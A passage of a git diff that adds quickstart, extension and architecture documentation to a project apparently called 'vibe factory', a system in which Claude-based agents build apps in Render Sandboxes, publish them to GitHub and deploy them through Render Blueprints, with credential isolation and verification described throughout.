build time, and a browser uses them. The * sandbox build passes with a private-network address in the bundle. Without diff --git a/app/workflow.ts b/app/workflow.ts index 534bc1c..6c6d4d1 100644 --- a/app/workflow.ts +++ b/app/workflow.ts @@ -30,7 +30,7 @@ import { removeFromBlueprintTask, waitForSyncsTask, } from "./delete.js"; -import { awaitDeployment } from "./deploy.js"; +import { awaitDeployment, deploysBeforePublish } from "./deploy.js"; import { initAppDir } from "./git.js"; import { collectImages } from "./images.js"; import { oneLine, publishAppTask } from "./publish.js"; @@ -59,7 +59,7 @@ const DELETE_TIMEOUT_SECONDS = 4 * DELETE_STEP_TIMEOUT_SECONDS; export const promptToApp = task( { name: "prompt-to-app", - plan: "standard", + plan: "flex", timeoutSeconds: SANDBOX_TIMEOUT_SECONDS, // Render Workflows retries a failed run three times by default. A retry // starts again at the architect with a new sandbox, and after a push it @@ -197,7 +197,10 @@ async function run( // ── Publish ───────────────────────────────────────────────────── await setRunStage(runId, "publishing"); - const { commit } = await tasks.run(publishAppTask, { + // Before the push: right after it, the newest deploys of a service that + // a rerun replaces are still those of the old app. + const deploysBefore = await deploysBeforePublish(workspaceId, spec); + const { commit, changedServices } = await tasks.run(publishAppTask, { sandboxId: sandbox.id, spec, message: `${user}/${appName}: ${oneLine(prompt)}`, @@ -217,6 +220,8 @@ async function run( runId, summary: built.summary, databaseUrl, + deploysBefore, + changedServices, }); } finally { await sandbox @@ -255,7 +260,7 @@ interface DeleteResult { export const deleteApp = task( { name: "delete-app", - plan: "starter", + plan: "flex", timeoutSeconds: DELETE_TIMEOUT_SECONDS, retry: { maxRetries: 0, waitDurationMs: 0 }, }, diff --git a/docker-compose.yml b/docker-compose.yml index c1fce5b..f896c08 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,6 +1,6 @@ services: postgres: - image: postgres:16-alpine + image: postgres:18-alpine environment: POSTGRES_DB: vibe_factory POSTGRES_USER: postgres diff --git a/docs/0_QUICKSTART.md b/docs/0_QUICKSTART.md new file mode 100644 index 0000000..6704814 --- /dev/null +++ b/docs/0_QUICKSTART.md @@ -0,0 +1,295 @@ +# Quickstart + +Deploy the factory, create an app, verify it, and clean it up. Once the +default path works, use [1_EXTENSION.md](1_EXTENSION.md) to customize the +factory. To understand the implementation, continue to +[2_ARCHITECTURE.md](2_ARCHITECTURE.md). + +> **Cost warning.** Local development changes only where the orchestration +> code runs. Every app run still uses model tokens, creates a real Render +> Sandbox, and deploys real Render resources. Those resources continue to +> bill until you delete the app. + +## Prerequisites + +You need: + +- Node.js 22 or later and Docker. +- The [Render CLI](https://render.com/docs/cli), signed in with + `render login`. +- A Render workspace with Workflows and + [Sandboxes early access](https://render.com/docs/sandboxes) enabled. +- A Render API key and that workspace's ID (`tea-...`). +- An Anthropic API key. +- An empty GitHub repository for generated apps (the **apps repository**). +- A GitHub connection in Render that can read the apps repository. +- A credential that can push to the apps repository: + - a fine-grained personal access token with Contents: write, or + - a GitHub App installed on the repository with Contents: write. + +Local development uses a local Postgres for run state, but Sandboxes and +generated apps still run on Render. + +## Run the factory locally + +### 1. Install and configure + +```bash +npm ci +cp .env.example .env +``` + +Set the following values in `.env`: + +- `APPS_REPO`: the apps repository as `owner/repo`. +- `RENDER_API_KEY`: a key for the target Render workspace. +- `RENDER_WORKSPACE_ID`: the workspace ID. +- `ANTHROPIC_API_KEY`: the model credential. +- Either `GITHUB_TOKEN` or all three `GITHUB_APP_*` values. +- `FACTORY_API_KEY`: at least 24 characters. Generate one with + `openssl rand -hex 32`. +- `UI_USERNAME`: a lowercase slug, 3–31 characters. It becomes the + `apps//` namespace and part of generated resource names. +- `UI_PASSWORD`: at least 16 characters. + +Keep the default `DATABASE_URL` and `RENDER_WORKFLOW_SLUG` values for local +development. + +Do not put `RENDER_USE_LOCAL_DEV` in `.env`. The gateway must use the local +task server, while the workflows host must use the real Render API. + +### 2. Start the three local processes + +Use one terminal per process: + +```bash +# Terminal 1: run-state database +npm run dev:postgres +``` + +```bash +# Terminal 2: schema and gateway +npm run db:migrate +npm run dev:gateway +``` + +```bash +# Terminal 3: local Workflows task server +npm run dev:workflows +``` + +The gateway is available at `http://localhost:3000`. Confirm all tasks +registered: + +```bash +render workflows tasks list --local +``` + +If the workflow host is not running, submissions fail with +`dispatch failed`. + +### 3. Create the first app + +Open `http://localhost:3000`, sign in with `UI_USERNAME` and `UI_PASSWORD`, +and submit an idea. The table view at `/table` shows stage timings. + +An embedded preview that cannot show a Basic Auth prompt may use +`UI_AUTH_DISABLED=true` locally. The gateway ignores that setting in +production. + +You can also use the demo client: + +```bash +npm run demo -- "Create an online catalog for handcrafted furniture" +``` + +The demo client uses `FACTORY_USER` (default `demo`). The UI lists only the +`UI_USERNAME` namespace, so set those values to the same slug when you want +CLI-created runs to appear in the UI. + +A brochure or landing-page prompt usually produces one static site. A prompt +that explicitly requires persistent user-written data produces a site, API, +and Postgres database. + +The first successful build normally ends as `awaiting_blueprint`. The code is +in the apps repository, but no Render Blueprint watches it yet. + +## Connect the apps Blueprint + +This is a one-time manual step. Render does not expose an API for creating a +Blueprint. + +1. Open the workspace identified by `RENDER_WORKSPACE_ID`. +2. Choose **New > Blueprint** and select the apps repository. +3. Use branch `main` and Blueprint path `render.yaml`. +4. Keep **Auto Sync** enabled. + +These values must match `branch` and `blueprintPath` in +[`factory.config.ts`](../factory.config.ts). + +Creating the Blueprint syncs the root `render.yaml` already committed by the +first run. Submit another idea to exercise the complete path. A successful +run finishes as `deployed` only after the workflow smoke-tests the public +site and, when present, its API. + +Each app gets its own Render project: + +```text +vibe-- +├── vibe---web +├── vibe---api # when needed +└── vibe---db # when needed +``` + +## Deploy the factory to Render + +The factory's [`render.yaml`](../render.yaml) creates: + +- `vibe-factory-gateway`, a Docker web service; +- `vibe-factory-workflows`, the Workflows host; and +- `vibe-factory-db`, the Postgres database shared by both. + +Create a Blueprint from this repository or use the Deploy to Render button in +the [README](../README.md). Fill in the prompted values listed under +[Prerequisites](#prerequisites). `UI_PASSWORD` must contain at least 16 +characters or the gateway will refuse to start. + +If you deploy a fork, first change the workflow service's `repo:` field in +`render.yaml` to the fork URL. Otherwise Render builds the upstream workflow +code even though the Blueprint came from your fork. + +Keep these deployment constraints: + +- The workflow service and database must use the same region. +- Network isolation must remain disabled for the factory environment so + workflow tasks can reach Postgres over the private network. +- Only one factory using the default workflow service name can exist in a + workspace. +- The apps Blueprint must exist in the workspace identified by + `RENDER_WORKSPACE_ID`. + +After deployment, open the gateway URL or point the demo client at it: + +```bash +FACTORY_GATEWAY_URL=https://.onrender.com \ + npm run demo -- "Build a website for a neighborhood bakery" +``` + +## Verify the wiring + +First run the code checks: + +```bash +npm run check +``` + +To run the doctor against a factory deployed with the Deploy to Render button, +create a local `.env` from the deployed resources: + +1. Copy `.env.example` to `.env`. +2. From `vibe-factory-gateway`, copy `FACTORY_API_KEY`, `UI_USERNAME`, + `UI_PASSWORD`, and `RENDER_WORKFLOW_SLUG`. +3. From `vibe-factory-workflows`, copy `APPS_REPO`, `RENDER_API_KEY`, + `RENDER_WORKSPACE_ID`, `ANTHROPIC_API_KEY`, and either `GITHUB_TOKEN` or + the three `GITHUB_APP_*` values. +4. Open `vibe-factory-db` in the Dashboard and copy its **external** + connection URL. Set that as `DATABASE_URL` and append + `?sslmode=require` (or `&sslmode=require` when the URL already has a + query). The internal URL is not reachable from your laptop. + +Then run: + +```bash +npm run doctor +``` + +Keep this `.env` private; it contains production credentials. + +`npm run doctor` is read-only. It checks: + +- required configuration and credential shape; +- that the configured Anthropic model IDs are available; +- GitHub read and push access and the default branch; +- the apps Blueprint's repository, path, branch, and Auto Sync setting; +- the Render MCP server and the agents' read-only tool allowlist; +- Postgres and the `runs` schema; and +- registration of all workflow tasks. + +`npm run check` runs Biome, TypeScript, and Vitest. + +Before a live demo, run the doctor, rehearse the prompt once, delete the +rehearsal app, and keep a separate deployed fallback. + +## Observe and troubleshoot runs + +Start with `GET /v1/apps/:runId`, the UI's stage history, and the workflow +task in the Render Dashboard. + +The common long-running stages are: + +- `verifying`: the workflow is building, booting, and querying the app in the + Sandbox. +- `waiting_for_services`: the apps Blueprint has not created every expected + service. Auto Sync being disabled is the usual cause. +- `waiting_for_deploys`: the workflow is waiting for a deploy newer than the + commit it just pushed. +- `smoke_testing`: public DNS and routing may still be converging, or the + workflow is checking the storefront, data endpoint, and CORS. + +Useful structured log events include: + +- `agent_completed` +- `app_verified` and `app_verification_failed` +- `app_published` +- `render_read_failed` +- `deploy_logs_unavailable` +- `blueprint_syncs_unfinished` +- `app_deleted` and `app_delete_failed` + +The architecture guide documents the complete +[request path](2_ARCHITECTURE.md#prompt-to-live-app) and +[delete path](2_ARCHITECTURE.md#delete-an-app). + +## Delete generated apps + +Delete every generated app when you are done. Apps with an API and database +leave paid resources running. + +Use the UI's **Delete app** action or: + +```bash +curl -X DELETE \ + -H "Authorization: Bearer $FACTORY_API_KEY" \ + "$FACTORY_GATEWAY_URL/v1/apps/$RUN_ID" +``` + +Deletion removes the app from the root Blueprint, waits for older Blueprint +syncs, deletes the app's Render resources and project, and finally removes its +directory from the apps repository. Deleted files remain in Git history. + +If deletion ends as `delete_failed`, fix the reported condition and send the +same request again. The delete steps are intentionally restartable. + +Delete generated apps before deleting the `vibe-factory` project. Removing +the factory first leaves the apps running without the workflow that cleans +them up. + +## Current limitations + +- Every run incurs model and Sandbox usage, including local development. +- Generated APIs and databases continue to bill until the app is deleted. +- Connecting the apps Blueprint is a one-time manual step. +- Authentication is suitable for a trusted demo, not a multi-tenant product: + one Basic Auth user and one shared bearer token provide no tenant + isolation, per-user quotas, or abuse controls. +- Failed top-level runs do not resume from a checkpoint. Submit the prompt + again. +- Deletion is per app, not per run, because all runs of an app share files + and resources. +- The factory supports only the primitives modeled in its contracts: + static sites, Node web services, and Postgres. +- Deterministic verification and live smoke tests decide success; there is no + model reviewer. + +See [1_EXTENSION.md](1_EXTENSION.md) before changing these boundaries and +[3_TAKEAWAYS.md](3_TAKEAWAYS.md) for the patterns worth reusing elsewhere. diff --git a/docs/1_EXTENSION.md b/docs/1_EXTENSION.md new file mode 100644 index 0000000..2503c13 --- /dev/null +++ b/docs/1_EXTENSION.md @@ -0,0 +1,294 @@ +# Extend the factory + +Start with a working deployment from [0_QUICKSTART.md](0_QUICKSTART.md). +This guide covers the supported extension points: factory configuration, +models and agents, generated infrastructure, templates, the pipeline, assets, +and the public surface. + +Read [2_ARCHITECTURE.md](2_ARCHITECTURE.md) before changing the Sandbox, +publishing, or deletion boundaries. The canonical safety invariants live in +[AGENTS.md](../AGENTS.md#invariants). + +## Change factory defaults + +[`factory.config.ts`](../factory.config.ts) holds non-secret defaults: + +- `branch`: branch pushed in the apps repository. The apps Blueprint must + watch the same branch. +- `blueprintPath`: root Blueprint path watched by Render. +- `appsDir`: parent directory for `apps///`. +- `resourcePrefix`: prefix for generated Render resource names. +- `render.region`: region for generated services and databases. +- `render.servicePlan` and `render.databasePlan`: generated resource plans. +- `render.postgresMajorVersion`: generated Postgres version. +- `assets.allowedHosts`, `maxBytes`, and `imageWidth`: image download policy. +- `maxConcurrentRuns`: global number of app builds the gateway may accept. +- `models`: concrete model ID for the `medium` and `large` tiers. + +Changing `branch` or `blueprintPath` requires updating the apps Blueprint in +the Render Dashboard. Changing the generated region or plans affects new +Blueprint output and can affect existing apps on their next publish. + +Each committed `factory.json` stores its `resourcePrefix`. Always read an +existing app's prefix from that spec; changing the default must not rename +resources already deployed. + +Limits tied directly to one stage live beside that stage: + +- agent `maxTurns` values are in [`app/agents.ts`](../app/agents.ts); +- build repair rounds are in [`app/build.ts`](../app/build.ts); and +- deploy repair rounds and wait deadlines are in + [`app/deploy.ts`](../app/deploy.ts). + +## Change models or prompts + +Model tiers decouple an agent definition from a concrete model. Change the +tier mapping in `factory.config.ts`, then assign each agent a `model` tier in +`app/agents.ts`. + +The default implementation uses the Claude Agent SDK and requires +`ANTHROPIC_API_KEY`. Supporting another provider is not a configuration-only +change: [`runClaude()`](../app/claude.ts) is the model boundary and would need +a new implementation with the same tool, environment, hook, structured +output, and usage-accounting guarantees. + +When editing a prompt: + +1. Keep permissions in code. A prompt may describe a boundary but must not be + the only thing enforcing it. +2. Keep structured responses aligned with the Zod schema in + [`app/contracts.ts`](../app/contracts.ts). +3. Keep task inputs small and free of secrets; Render displays task inputs in + the Dashboard. +4. Add behavior-focused tests for any new guarantee. + +## Add an agent + +Add an agent only when it needs a distinct context, permission set, or +independently observable task. Deterministic work belongs in normal workflow +code. + +1. Define an `Agent` in [`app/agents.ts`](../app/agents.ts) with a stable, + unique `id`, a model tier, a prompt, and an explicit `timeoutSeconds`. +2. Grant `tools` only when the agent must act in the build Sandbox. Grant + `renderTools` only from `RENDER_READ_ONLY_TOOLS`. +3. Register it with `agentTask()` at the bottom of `app/agents.ts`. +4. Invoke the registered task through `tasks.run(...)` from + `app/workflow.ts` or a stage module. Pass `sandboxId` and `workDir` only + when the agent has Sandbox tools. +5. For structured output, define a Zod schema in `app/contracts.ts`, register + its JSON Schema in `OUTPUT_SCHEMAS`, and validate the result with + `agentJson()`. +6. Update `tests/agents.test.ts`, `tests/host.test.ts`, and + `scripts/doctor.ts`. + +`agentTask()` definitions are Render task objects, not ordinary functions. +Always run them through the parent task's `TaskContext`. + +The existing roles illustrate three capability profiles: + +- `architect`: read-only Render MCP, no Sandbox. +- `builder`: six scoped Sandbox tools, no Render MCP. +- `deploy-manager`: read-only Render MCP plus redacted logs supplied by + workflow code. + +Do not grant an agent direct log access. Logs can contain secrets. The deploy +repair path fetches logs in trusted workflow code, redacts them, limits their +size, and only then places them in an agent task input. + +## Add or change a Sandbox tool + +The `Tool` and `ToolContext` contracts are in +[`app/tools.ts`](../app/tools.ts). A tool receives a workflow-bound Sandbox +and app working directory; the model cannot select either. + +For a new tool: + +1. Define and bound its Zod input schema. +2. Resolve every path with `resolveSandboxPath()`. +3. Bound output and return expected command failures as tool results. +4. Add it to `sandboxTools` only if the builder should receive it. +5. Add policy checks in [`app/policy.ts`](../app/policy.ts) when needed. +6. Test the allowed behavior and the boundary failures. + +Do not try to secure arbitrary shell commands with pattern matching. +`sandbox__exec` is intentionally broad. Its security boundary is a +disposable Sandbox containing one app and no factory credential. + +## Add a Render primitive + +The factory deploys only static sites, Node web services, and Postgres. Adding +a primitive is an end-to-end contract change: + +1. Add the planning kind to `TIER_KINDS` in `app/contracts.ts` and explain + when the architect should choose it. +2. Extend `manifestSchema` so the builder can describe what it built. +3. Generate its Blueprint block in [`app/blueprint.ts`](../app/blueprint.ts). +4. Extend resource naming so every resource remains namespaced by user and + app. +5. Add pre-publish verification in [`app/verify.ts`](../app/verify.ts). +6. Teach [`deleteAppResources()`](../app/teardown.ts) to list and delete it. +7. Add assertions to `tests/blueprint.test.ts` and delete-flow tests. + +Keep environment wiring declarative: + +- use `fromDatabase` for database connection values; +- use `fromService` with `RENDER_EXTERNAL_HOSTNAME` for a hostname embedded + into a static site's browser bundle; and +- never put a private-network hostname into client-side code. + +Do not accept free-form model-authored YAML. The model returns a validated +manifest; trusted code converts that manifest into the limited Blueprint +shape the factory supports. + +## Change or add a template + +[`templates/fullstack`](../templates/fullstack) is the starting point for an +app with a web service. It encodes integration contracts that prompts do not +reliably recreate: CORS, browser-visible API host wiring, and an idempotent +migration and seed command. + +When changing it: + +1. Build both `web/` and `api/`; CI does the same. +2. Keep migrations and seed data idempotent and keep the seed non-empty. +3. Update `templateLines()` in `app/build.ts` if the implied manifest + changes. +4. Keep template files text-only because `materializeTemplate()` sends them + through one self-extracting shell script. +5. Update `tests/templates.test.ts`. + +To add another template: + +1. Add its directory under `templates/`. +2. Decide in `run()` in `app/workflow.ts` when to select it. +3. Give the builder matching instructions and expected manifest details. +4. Add a CI build for every independently buildable part. + +Templates should encode platform contracts, not the generated product. Leave +the app's content and product-specific behavior to the builder. + +## Change the pipeline + +[`app/workflow.ts`](../app/workflow.ts) should remain the readable narrative. +Put stage details in the stage module: build, verify, publish, deploy, or +delete. + +When adding a stage: + +- decide whether it needs judgment (agent task) or deterministic code; +- keep its input and result small and JSON-serializable; +- add a bounded timeout and make repeated execution safe; +- update `RUN_STAGES` and both browser views when it is user-visible; +- preserve Sandbox cleanup in `finally`; and +- add a workflow test that exercises the public outcome. + +Do not enable retries on `prompt-to-app`, `verify-app`, or `publish-app` +without first adding step-level durability. A blind retry can duplicate +side effects, reuse a stale process, or interpret an already-pushed commit as +"no changes." + +Deploy repairs must continue through the same verify-and-publish path as the +initial build. A repair may change app code and service settings, but not the +set or runtime of resources already being watched in that loop. + +## Extend verification + +Verification is the acceptance boundary between model-written code and +publishing. A new feature is incomplete until the workflow can test it. + +Prefer checks that reproduce deployment reality: + +- start from files that a fresh Git clone would contain; +- run the same build and pre-deploy commands as the Blueprint; +- use a real dependency, such as Sandbox Postgres, where integration matters; +- prove health checks work before dependent services are available; and +- test public behavior after Render reports the deploy `live`. + +Keep model review advisory. A deterministic build, deploy status, or smoke +test must make the final pass/fail decision. + +## Add an external asset source + +[`app/images.ts`](../app/images.ts) treats downloads as a network policy, not +just a search feature. A new source must define: + +- allowed HTTPS hosts, including redirect targets; +- accepted content types; +- maximum declared and streamed size; +- a workflow-chosen destination inside the app; and +- failure behavior that cannot expose arbitrary network access. + +Keep URL selection and downloading in workflow code when no judgment is +needed. Do not give the builder a general browser simply to fetch assets. + +## Extend the API or UI + +The gateway exposes: + +- `POST /v1/apps` +- `GET /v1/apps/:runId` +- `DELETE /v1/apps/:runId` +- Basic-Auth equivalents under `/ui/apps` +- unauthenticated `/health` and `/ready` + +For API changes, validate before side effects, preserve the 64 KB body cap, +and redact secret-shaped text from responses. + +For UI changes: + +- keep every browser route behind Basic Auth; +- never serialize `FACTORY_API_KEY` into HTML or JavaScript; +- ignore a browser-supplied `user` and use `UI_USERNAME`; +- keep Postgres as the source of truth; and +- update both the classic and table views when changing stages. + +A production multi-tenant service needs real identity, authorization, +per-tenant quotas, and abuse prevention in front of `claimRun()`. User slugs +are namespaces, not a security boundary. + +## Configuration by process + +The gateway requires: + +- `DATABASE_URL` +- `RENDER_API_KEY` +- `RENDER_WORKFLOW_SLUG` +- `FACTORY_API_KEY` +- `UI_USERNAME` +- `UI_PASSWORD` (at least 16 characters) + +The workflows host requires: + +- `DATABASE_URL` +- `APPS_REPO` +- `RENDER_API_KEY` +- `RENDER_WORKSPACE_ID` +- `ANTHROPIC_API_KEY` +- either `GITHUB_TOKEN` or all three `GITHUB_APP_*` values + +Optional workflow settings are `RENDER_MCP_URL` and `GITHUB_API_URL`. + +The demo script reads `FACTORY_GATEWAY_URL` and `FACTORY_USER`. +`PORT` configures the gateway and defaults to `3000`. + +Keep model and GitHub credentials off the gateway. Keep the GitHub credential +out of every task input and every Sandbox an agent can use. + +## Change checklist + +Before finishing an extension: + +1. Re-read the [invariants](../AGENTS.md#invariants). +2. Check that no new credential reaches the gateway, an agent task input, or + the build Sandbox. +3. Validate new external and workflow inputs with Zod. +4. Verify that infrastructure creation still flows through + `app/blueprint.ts`. +5. Verify that publishing still changes only one app directory and the root + Blueprint. +6. Add deletion and verification support for each new resource type. +7. Update `.env.example`, `render.yaml`, `scripts/doctor.ts`, and these docs + when configuration changes. +8. Run `npm run check`. +9. Run `render blueprints validate` when `render.yaml` changes. diff --git a/docs/2_ARCHITECTURE.md b/docs/2_ARCHITECTURE.md new file mode 100644 index 0000000..190ae7d --- /dev/null +++ b/docs/2_ARCHITECTURE.md @@ -0,0 +1,489 @@ +# Architecture + +This document maps the repository, traces app creation and deletion, and +describes the contracts between the gateway, workflow, agents, Sandboxes, +GitHub, and Render. + +For setup, use [0_QUICKSTART.md](0_QUICKSTART.md). For supported changes, use +[1_EXTENSION.md](1_EXTENSION.md). + +## System overview + +The factory has two independently deployed processes and one shared +database: + +- **Gateway**: an internet-facing Hono web service that authenticates + callers, validates requests, claims runs in Postgres, dispatches workflow + tasks, and serves the browser UI. +- **Workflows host**: registers the app-building and deletion tasks. It calls + models, creates Sandboxes, verifies code, publishes to GitHub, observes + deploys, and performs scoped deletion. +- **Factory Postgres**: stores run ownership, status, progress, task IDs, + app identity, URLs, and concurrency claims. + +Generated apps use a separate GitHub repository: + +```text +Caller + │ + ▼ +Gateway ───────▶ Factory Postgres + │ + │ start prompt-to-app + ▼ +Workflows host ─────▶ Build Sandbox + │ │ + │ └─ agents build; workflow verifies + │ + └──────────────────▶ Publish Sandbox ──▶ Apps repository + │ + │ Blueprint Auto Sync + ▼ + Generated Render project + (site, optional API, optional Postgres) +``` + +The split is a security boundary. The public gateway has no model key or +GitHub credential. The build Sandbox has no factory credential or clone of +the apps repository. Publishing happens in a fresh Sandbox no agent has used. + +## Directory overview + +```text +factory.config.ts Non-secret factory defaults and resource naming +render.yaml Blueprint for the factory itself +docker-compose.yml Local Postgres +.env.example Environment variable reference +AGENTS.md Contributor conventions and canonical invariants +docs/ + 0_QUICKSTART.md Setup, first app, deployment, operations, cleanup + 1_EXTENSION.md Supported customization paths + 2_ARCHITECTURE.md Repository map, execution paths, interfaces + 3_TAKEAWAYS.md Reusable design lessons +app/ + server.ts Gateway process entrypoint + host.ts Workflows process entrypoint and task registration + gateway.ts HTTP auth, routes, dispatch, status, reconciliation + workflow.ts prompt-to-app and delete-app narratives + build.ts Builder and verification repair rounds + verify.ts Pre-publish build, boot, database, and file checks + publish.ts Trusted clone, spec generation, commit, and push + deploy.ts Deploy waits, repairs, and public smoke tests + delete.ts Four restartable delete subtasks + agents.ts Agent definitions and task wrappers + claude.ts Claude SDK boundary and structured-output repair + tools.ts Builder's scoped Sandbox tools + policy.ts Tool allowlist, path policy, and secret redaction + contracts.ts Zod schemas and shared TypeScript contracts + store.ts Postgres state, idempotency, and advisory locks + schema.sql runs table schema + sandbox.ts Render Sandbox lifecycle and Sandbox Postgres + git.ts Clone, stage, commit, push, and remote verification + files.ts Copy app files between Sandboxes as untrusted data + github.ts GitHub App and personal-token authentication + blueprint.ts Validated manifest to Render Blueprint + render.ts Render reads, deploy logs, retries, and HTTP probes + teardown.ts Scoped Render resource deletion + templates.ts Materialize a template in the build Sandbox + images.ts Bounded Wikimedia search and download + config.ts Environment parsing and process-specific validation +public/ + index.html, app.js Stage-oriented UI + table.html, table.js Tabular UI + runs.js Shared rendering and polling helpers +templates/fullstack/ + web/ Vite + React storefront + api/ Hono + Postgres API +scripts/ + migrate.ts Apply app/schema.sql + doctor.ts Read-only configuration and integration diagnostics + demo.ts Submit and poll a prompt + support.ts Shared script helpers +tests/ One Vitest suite per behavior boundary +``` + +Imports generally flow in one direction: + +```text +sandbox → tools → claude → agents → stages → workflow +``` + +The stage modules are `build`, `verify`, `publish`, `deploy`, and `delete`. +Supporting modules such as `contracts`, `policy`, `store`, and `sandbox` stay +low in the graph. A dependency from a lower-level boundary back into the +workflow is a design smell. + +## Process entrypoints + +### Gateway + +[`app/server.ts`](../app/server.ts) validates gateway-only configuration, +creates the Hono application from `createGateway()`, and binds to +`0.0.0.0:$PORT`. + +The public routes are: + +- `GET /health`: process liveness. +- `GET /ready`: Postgres readiness. +- `POST /v1/apps`: start an app run with bearer authentication. +- `GET /v1/apps/:runId`: read and reconcile a run. +- `DELETE /v1/apps/:runId`: delete the run's app. +- `/ui/*`, `/`, and `/table`: Basic-Auth browser surface scoped to + `UI_USERNAME`. + +The gateway holds `FACTORY_API_KEY`, `RENDER_API_KEY`, and `DATABASE_URL`, but +not the model or GitHub credentials. + +### Workflows host + +[`app/host.ts`](../app/host.ts) validates workflow-only configuration and +synchronously imports the task graph. Render's SDK starts the task server +after task registration begins, so all task modules must register in the same +initial import pass. `tests/host.test.ts` verifies the complete task list in a +real Node process. + +The workflows host holds the model, GitHub, Render, and database credentials. +It is not an HTTP service exposed to users. + +## Core execution paths + +### Prompt to live app + +#### 1. Authenticate, validate, and claim + +`POST /v1/apps` passes through bearer authentication and a 64 KB body limit. +`createRun()` in [`app/gateway.ts`](../app/gateway.ts): + +1. Parses the body with `createAppRequestSchema`. +2. Generates a run ID. +3. Calls `claimRun()` in `app/store.ts`. +4. Dispatches the `prompt-to-app` task with `{ prompt, user, runId }`. +5. Stores the returned task-run ID and returns `202`. + +`claimRun()` handles two races in one Postgres transaction: + +- a unique idempotency key makes retried requests return the original run; +- a transaction-scoped advisory lock serializes the conditional insert that + enforces `maxConcurrentRuns`. + +UI submissions take their `user` from authenticated `UI_USERNAME`, never +from the browser body. + +#### 2. Design the app + +`promptToApp` in [`app/workflow.ts`](../app/workflow.ts) validates the task +input again and calls the `architect` subtask. + +The architect can inspect the Render workspace through read-only MCP tools. +It returns a `DeployPlan`: app name, summary, required primitives, asset +queries, and a product brief. `agentJson()` validates the response with Zod, +asks for one schema repair if needed, and then fails closed. + +`claimRunApp()` records the app name under a per-app advisory lock. It refuses +to build an app currently being built or deleted. + +#### 3. Prepare an isolated build Sandbox + +The workflow creates one Render Sandbox and saves its ID for Dashboard links. +`initAppDir()` creates: + +```text +/home/user/repo/apps// +``` + +The enclosing Git repository has no remote. The Sandbox receives no GitHub +token. The builder may execute arbitrary shell commands, so the absence of +credentials and unrelated source is the real boundary. + +When the plan includes them, trusted workflow code: + +- installs a real Postgres inside the Sandbox; +- materializes `templates/fullstack`; and +- downloads bounded, allowlisted Wikimedia images into the app. + +The Sandbox is terminated in a `finally` block. + +#### 4. Build and verify + +`buildAndVerify()` alternates between the `builder` agent and the +`verify-app` subtask: + +1. The builder edits the app through six scoped Sandbox tools and returns a + `BuildOutput`. +2. `verify-app` validates and executes the declared `Manifest`. +3. Failures are sent back to the builder for a bounded number of repair + rounds. + +Verification deliberately models a fresh deployment: + +- write the generated `.gitignore` and remove ignored outputs; +- run each service's build command; +- require a substantial `index.html` for static sites; +- boot web services with an unreachable database and check health; +- run idempotent migrations against Sandbox Postgres; +- boot again and require non-empty data from `dataCheckPath`; and +- read the app through the same file-transfer boundary publishing uses. + +A failed verification produces `build_failed`; it never publishes. + +#### 5. Publish from a clean Sandbox + +The workflow turns the verified manifest into an `AppSpec`, which becomes +`factory.json`. + +`publish-app` then crosses the trust boundary: + +1. `readAppFiles()` packs only commit-visible files from the build Sandbox. +2. `appFiles()` accepts regular files with safe relative paths under a 50 MB + total cap. +3. `inAppsClone()` creates a fresh Sandbox, obtains a short-lived GitHub + credential, and clones the apps repository. +4. Trusted code writes the app files, `factory.json`, the app-local + `render.yaml`, and a regenerated repository-root `render.yaml`. +5. Git stages only `apps///` and the root Blueprint. +6. `pushVerified()` rejects any other changed path, pushes, and confirms the + remote branch points at the expected commit. + +Concurrent pushes retry on the newest branch tip. The root Blueprint is +regenerated from all committed `factory.json` files rather than merged. + +#### 6. Wait for Render and repair bounded failures + +Render's apps Blueprint sees the push and creates or updates the app project. +`awaitDeployment()`: + +1. Finds the Blueprint watching the configured repository, branch, and path. +2. Returns `awaiting_blueprint` if no such Blueprint exists. +3. Waits for every expected service to appear. +4. Waits for deploys caused by the new commit. +5. On a failed deploy, fetches and redacts that deploy's logs, asks the + `deploy-manager` for a diagnosis, and gives the diagnosis to the builder. +6. Re-verifies and republishes a bounded repair. + +The first wait records deploy IDs before publishing so an old live deploy +cannot be mistaken for the result of the new commit. A repair waits only for +deploys newer than the failed deploy. + +The deploy manager is advisory. An empty diagnosis cannot override a failed +Render deploy status, and a repair cannot change the declared set or runtime +of resources. + +#### 7. Smoke-test the public application + +A `live` deploy status proves the build and health check succeeded. It does +not prove the browser-to-API path works. + +The workflow additionally checks: + +- the public site responds; +- the storefront bundle contains the API's public hostname; +- the API health path responds; +- the data path returns rows; and +- CORS permits the storefront origin. + +Only then does the run finish as `deployed`. `finishRun()` records the final +status, sets the stage to `done`, and releases the concurrency slot. + +### Delete an app + +Deletion is per app because all runs with the same user and app name share +files and resources. + +`DELETE /v1/apps/:runId`: + +1. Loads the run and checks the UI namespace when applicable. +2. Claims every run of the app under the same per-app advisory lock used by + builds. +3. Refuses deletion while a build of that app is active. +4. Dispatches `delete-app`. + +`removeApp()` runs four restartable subtasks in order: + +1. **Remove from Blueprint.** Set `deletedAt` in `factory.json`, regenerate + the root Blueprint without the app, and push. Keep source files for now. +2. **Wait for Blueprint syncs.** Wait until no older pending or running sync + can recreate resources that the next step deletes. +3. **Delete resources.** Delete only services and databases in the app's + project whose names start with the app's stored resource stem, then delete + the empty project. +4. **Remove files.** Delete the app directory and push a second commit. + +A Blueprint sync creates declared resources but does not delete resources +removed from YAML. That asymmetry determines the order. If a delete fails, +the next request starts from step one and each step reads the state left by +the previous attempt. + +## Core interfaces + +### `Agent` and `agentTask()` + +`Agent` in [`app/claude.ts`](../app/claude.ts) defines an agent as data: + +```ts +interface Agent { + id: string; + model: "medium" | "large"; + prompt: string; + effort?: Options["effort"]; + tools?: readonly Tool[]; + renderTools?: readonly string[]; + maxTurns?: number; + timeoutSeconds: number; + plan?: string; +} +``` + +`agentTask()` in `app/agents.ts` turns that definition into a Render task. It +binds a workflow-selected Sandbox and working directory when needed, calls +`runClaude()`, logs token usage, and returns structured output. Every agent +task has an explicit deadline and disables automatic task retries. + +`runClaude()` is the model boundary. It disables built-in shell and file +tools, forwards an environment allowlist, exposes only explicitly selected +MCP tools, and runs `checkToolCall()` before every tool call. + +### `Tool` and `ToolContext` + +```ts +interface ToolContext { + readonly sandbox: Sandbox; + readonly workDir: string; +} + +interface Tool { + readonly name: string; + readonly description: string; + readonly inputSchema: Schema; + invoke(input: InferShape, ctx: ToolContext): Promise; +} +``` + +Workflow code binds the context; the model supplies only validated tool +input. File tools resolve paths inside `workDir` or `/tmp`. + +The builder receives read, write, list, search, exec, and patch tools. The +architect and deploy manager receive no Sandbox tools. Builder shell commands +have their own 10-minute limit, shorter than the builder task and parent +workflow deadlines. + +### 